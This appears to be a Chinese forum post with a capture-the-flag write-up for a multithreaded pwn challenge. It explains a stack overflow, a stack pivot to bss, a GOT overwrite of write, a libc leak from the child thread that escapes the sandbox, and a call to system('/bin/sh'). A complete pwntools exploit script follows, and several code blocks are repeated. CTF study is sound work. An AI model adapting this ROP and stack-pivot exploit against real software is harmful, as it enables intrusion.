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只有菜鸡才能懂菜鸡！带你走进线程pwn！
发表于: 2024-6-12 19:37 3977

只有菜鸡才能懂菜鸡！带你走进线程pwn！

学计算机睡觉 活跃值
2024-6-12 19:37
3977

第一次参加长城杯初赛，第一次做线程题(pwn_thread)，初上手的感觉就是调试困难，各种报错。上网找了一下，没找到说的很详细的，希望这篇文章能够对大家有所帮助！！！

可以看到，出了同种绿色的函数之外其他的函数都被禁止了。

main函数
其实就是开了一个子线程用来执行start_routine函数

start_routine
while循环不断打印字符，并且每次打印字符的时候都会暂停一秒钟。

sub_4014AD()
主线程的函数其实就是一个栈溢出嘛，只能覆盖一个返回地址。

相关函数
pthread_create:创造子线程的函数
sleep:让程序暂停的函数,当一个线程执行了sleep 函数后，操作系统会将该线程置为 “等待” 状态，并将 CPU 的控制权交给其他的 “就绪” 状态的线程。这个过程被称为 “线程切换”。我们可以认为当一个线程执行了sleep(time)之后，这个线程就会在time时间里处于等待状态，这个时间段程序就会执行其他线程。
线程与线程之间的关系
并行关系：
线程与线程之间是并行关系:即它们各自独立地执行各自的任务。
主从关系：
当主线程结束的时候子线程也会随之结束，这就是为什么我们回车之后程序就会结束。
pwndbg切换线程

关于沙箱与线程
就像这个程序一样，由于子程序在开启沙箱之前就创建了，所以不受沙箱影响

往bss区写入rop链并执行：
覆盖rbp为bss地址，覆盖返回地址为magic再进行一次输入,此时我们再次输入就是往bss区里面输入了。

修改write的got表为magic然后执行sleep函数切换到子线程
这里的操作是往bss布置的rop链，随后利用栈迁移来执行rop

泄露libc基址
到了这里之后，当子线程执行write函数就会跳转到magic地址执行输入
（这里为什么只需要0x30个垃圾数据是动调出来的，至于原因我也有些不明白）

覆盖返回地址执行system("/bin/sh")
由于我们只能刚好覆盖到返回地址，所以正常情况下这个溢出长度是不足以执行system("/bin/sh")，因此我们需要泄露栈地址(子线程上的栈地址与libc的偏移是固定的)然后栈迁移执行system("/bin/sh")

补充
这道题我发现了有两种不同的libc基址，一个是主线程另外一个应该是子线程的

当切换到子线程的时候执行system(/bin/sh)的时候，我发现只有子线程的libc基址才能正确执行函数，因此
子线程执行函数只能用子线程的libc基址

第一次调线程题感觉有点难调(菜)，就把调试的代码也留一下吧，方便大家学习。

参考博客
(https://hanqi-blogs.cn/2023/DASCTF-2023-June-Binary-WP/)

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  pthread_t newthread; // [rsp+8h] [rbp-8h] BYREF
 
  sub_401256(a1, a2, a3);
  puts("Welcome ,do you know threads?");
  pthread_create(&newthread, 0LL, start_routine, 0LL);
  sub_4014AD();
  return 0LL;
}
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  pthread_t newthread; // [rsp+8h] [rbp-8h] BYREF
 
  sub_401256(a1, a2, a3);
  puts("Welcome ,do you know threads?");
  pthread_create(&newthread, 0LL, start_routine, 0LL);
  sub_4014AD();
  return 0LL;
}
void __fastcall __noreturn start_routine(void *a1)
{
  while ( 1 )
  {
    write(1, "This is my thread...\n", 0x16uLL);
    sleep(1u);
  }
}
void __fastcall __noreturn start_routine(void *a1)
{
  while ( 1 )
  {
    write(1, "This is my thread...\n", 0x16uLL);
    sleep(1u);
  }
}
ssize_t sub_4014AD()
{
  char buf[64]; // [rsp+0h] [rbp-40h] BYREF
 
  sub_4012BB();##开启沙箱
  return read(0, buf, 0x50uLL);
}
ssize_t sub_4014AD()
{
  char buf[64]; // [rsp+0h] [rbp-40h] BYREF
 
  sub_4012BB();##开启沙箱
  return read(0, buf, 0x50uLL);
}
info thread：查看线程列表
thread 线程序号:切换到指定序号的线程
info thread：查看线程列表
thread 线程序号:切换到指定序号的线程
payload = b"A"*0x40 + p64(bss + 0x40) + p64(magic)
io.sendafter("This is my thread...",payload)
payload = b"A"*0x40 + p64(bss + 0x40) + p64(magic)
io.sendafter("This is my thread...",payload)
sleep(0.1)
payload = p64(rsi_r15) + p64(elf.got["write"]) + p64(0x0)
payload += p64(elf.plt["read"]) + p64(rdi) + p64(0x1000) + p64(elf.plt["sleep"])
payload = payload.ljust(0x40,b"\x00")
payload += p64(bss - 0x8) + p64(leave_ret)
io.send(payload)
io.send(p64(magic))
sleep(0.1)
payload = p64(rsi_r15) + p64(elf.got["write"]) + p64(0x0)
payload += p64(elf.plt["read"]) + p64(rdi) + p64(0x1000) + p64(elf.plt["sleep"])
payload = payload.ljust(0x40,b"\x00")
payload += p64(bss - 0x8) + p64(leave_ret)
io.send(payload)
io.send(p64(magic))
io.recv()
payload = b"A"*0x30 + p64(rdi) + p64(elf.got["puts"]) + p64(0x4010F0) + p64(magic) 
 
stack_offset = 0x7f4eab81a420 - 0x7f4eab791ef0
thread_base_offset = 0x7fdf5d04a000 - 0x7fdf5cedc420
libcbase_offset = 0x7f5dbba23420 - 0x7f5dbb99f000
#input("==============================++>")
#gdb.attach(io,cmd)
#pause()
#pause()
io.send(payload)
puts =  u64(io.recv(6).ljust(8,b"\x00"))
io.recv()
payload = b"A"*0x30 + p64(rdi) + p64(elf.got["puts"]) + p64(0x4010F0) + p64(magic) 
 
stack_offset = 0x7f4eab81a420 - 0x7f4eab791ef0
thread_base_offset = 0x7fdf5d04a000 - 0x7fdf5cedc420
libcbase_offset = 0x7f5dbba23420 - 0x7f5dbb99f000
#input("==============================++>")
#gdb.attach(io,cmd)
#pause()
#pause()
io.send(payload)
puts =  u64(io.recv(6).ljust(8,b"\x00"))
stack_offset = 0x7f4eab81a420 - 0x7f4eab791ef0
stack = puts - stack_offset
system = libc.sym["system"] + libcbase2
binsh = next(libc.search(b"/bin/sh")) + libcbase2
payload = p64(rdi) + p64(binsh) + p64(system)
payload = payload.ljust(0x40,b"\x00")
payload += p64(stack - 0x8 - 0x40) + p64(leave_ret)
io.send(payload)
stack_offset = 0x7f4eab81a420 - 0x7f4eab791ef0
stack = puts - stack_offset
system = libc.sym["system"] + libcbase2
binsh = next(libc.search(b"/bin/sh")) + libcbase2
payload = p64(rdi) + p64(binsh) + p64(system)
payload = payload.ljust(0x40,b"\x00")
payload += p64(stack - 0x8 - 0x40) + p64(leave_ret)
io.send(payload)
from pwn import *
io = process("./thread_pwn")
context(log_level = "debug",arch = "amd64",os = "linux")
elf = ELF("./thread_pwn")
libc = ELF("./libc-2.31.so")
 
 
bss = elf.bss() + 0x30 + 0x40 + 0x40
magic = 0X4014BE
rdi = 0x0000000000401593
rsi_r15 = 0x0000000000401591
leave_ret = 0x4014D5
  
print("bss=======================================>",hex(bss))
 
payload = b"A"*0x40 + p64(bss + 0x40) + p64(magic)
 
 
io.sendafter("This is my thread...",payload)
 
 
sleep(0.1)
payload = p64(rsi_r15) + p64(elf.got["write"]) + p64(0x0)
payload += p64(elf.plt["read"]) + p64(rdi) + p64(0x1000) + p64(elf.plt["sleep"])
payload = payload.ljust(0x40,b"\x00")
payload += p64(bss - 0x8) + p64(leave_ret)
 
 
cmd = '''
    b *0x4014D4\n
    c\n
    thread 2\n
     
'''
#gdb.attach(io,cmd)
#pause()
 
 
#libcbase：0x7fdf5d04a000
 
io.send(payload)
sleep(0.1)
 
 
io.send(p64(magic))
 
 
io.recv()
payload = b"A"*0x30 + p64(rdi) + p64(elf.got["puts"]) + p64(0x4010F0) + p64(magic) 
 
stack_offset = 0x7f4eab81a420 - 0x7f4eab791ef0 #子线程的栈地址偏移
thread_base_offset = 0x7fdf5d04a000 - 0x7fdf5cedc420#子线程libc基址偏移
libcbase_offset = 0x7f5dbba23420 - 0x7f5dbb99f000#主线程libc基址偏移
 
#input("==============================++>")
 
 
gdb.attach(io,cmd)
pause()
 
pause()
io.send(payload)
 
puts =  u64(io.recv(6).ljust(8,b"\x00"))
print("puts==================================>",hex(puts))
stack = puts - stack_offset
libcbase = puts + thread_base_offset
libcbase2 = puts - libcbase_offset
print("======================================>",hex(stack))
print("===================================>",hex(libcbase))
print("==================================>",hex(libcbase2))
system = libc.sym["system"] + libcbase2
binsh = next(libc.search(b"/bin/sh")) + libcbase2
payload = p64(rdi) + p64(binsh) + p64(system)
payload = payload.ljust(0x40,b"\x00")
payload += p64(stack - 0x8 - 0x40) + p64(leave_ret)
sleep(0.1)
print("system=========================================>",hex(system))
 
#pause()
io.send(payload)
 
 
io.interactive()
from pwn import *
io = process("./thread_pwn")
context(log_level = "debug",arch = "amd64",os = "linux")
elf = ELF("./thread_pwn")
libc = ELF("./libc-2.31.so")
 

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